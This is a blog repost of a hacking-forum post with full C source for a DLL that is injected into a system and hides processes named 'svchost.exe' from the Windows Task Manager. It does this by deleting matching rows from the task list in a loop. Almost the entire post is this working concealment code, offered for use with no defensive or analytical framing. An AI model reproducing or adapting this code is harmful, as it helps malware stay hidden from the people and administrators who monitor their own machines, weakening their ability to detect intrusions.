Task Manager Subclassing Dll

http://www.rohitab.com/discuss/topic/30630-task-manager-subclassing-dll/
Here is a little dll which subclasses windows task manager !
You need to inject it.
Attached is the msvc project
X-N2O Productions strikes again

#include <windows.h>
 #include <commctrl.h>
 
 char *buf = NULL;
 
 
 //All i did was reading MSDN :D
 void HideTask(HWND hwnd, char name[])
 {
  int count, x;
  LVITEM lv;
  memset(&lv, 0, sizeof(LVITEM));
  lv.iSubItem = 0; //Item name
  char *str = (char*) calloc( 1, MAX_PATH );
  lv.cchTextMax = MAX_PATH;
  lv.pszText = str;
  count = SendMessage(hwnd, LVM_GETITEMCOUNT, 0,0);
  for(x = 0; x < count; x++)
  {
   SendMessage(hwnd, LVM_GETITEMTEXT, x, (LPARAM) &lv);
   if(!_stricmp(str,name))
    SendMessage(hwnd,LVM_DELETEITEM,x,0);
   //Sleep(1);
  }
  free(str);
  return;
 }
 
 BOOL CALLBACK enumCallback( HWND hwnd, LPARAM lParam )
 {
  buf = (char *) calloc( 1, MAX_PATH);
  GetWindowText( hwnd, buf, MAX_PATH);
  if(strstr( buf, "Processes")) //Windows task manager's ListView control
   HideTask(hwnd,"svchost.exe");
  free(buf);
  return TRUE;
 }
 
 DWORD WINAPI thread(LPVOID)
 {
  HWND taskMgr;
  while(1) {
   Sleep(5);
   taskMgr = FindWindow(NULL, "Windows Task Manager");
   if(taskMgr)
    EnumChildWindows(taskMgr, enumCallback, 0);
  }
  return TRUE;
 }
 
 BOOL APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpvReserved)
 {
  switch(dwReason){
  case DLL_PROCESS_ATTACH:
   {
    CreateThread(0, NULL, (LPTHREAD_START_ROUTINE)&thread, NULL, NULL, NULL);
   }
   break;
  }
  return TRUE;
 }

posted on 2011-03-08 22:07 挑灯看剑 阅读(375) 评论(0)  编辑 收藏 引用 所属分类: C/C++

只有注册用户登录后才能发表评论。
<2012年10月>
30123456
78910111213
14151617181920
21222324252627
28293031123
45678910

导航

公告

【自我介绍】 08年南开大学硕士毕业 最近关注:算法、Linux、c++、高并发 爱好:滑旱冰、打乒乓球、台球、保龄球

常用链接

随笔分类(139)

文章分类

我常去的网站

技术博客(都是大牛)

技术站点

搜索

积分与排名